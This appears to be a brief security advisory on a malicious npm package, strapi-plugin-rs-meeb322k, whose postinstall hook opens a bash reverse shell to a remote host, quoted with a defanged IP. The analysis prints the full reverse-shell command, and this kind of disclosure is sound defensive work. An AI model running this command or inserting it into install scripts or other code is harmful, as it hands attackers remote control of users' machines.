strapi-plugin-rs-meeb322k@3.6.8

Analysis

The package's postinstall hook executes a bash reverse shell. postinstall.js spawns `bash -c 'bash -i > /dev/tcp/14[.]225[.]210[.]85/443 2>&1'`, opening an interactive shell back to the remote host 14[.]225[.]210[.]85 on TCP port 443 whenever the package is installed. The package description identifies itself as a reverse-shell payload.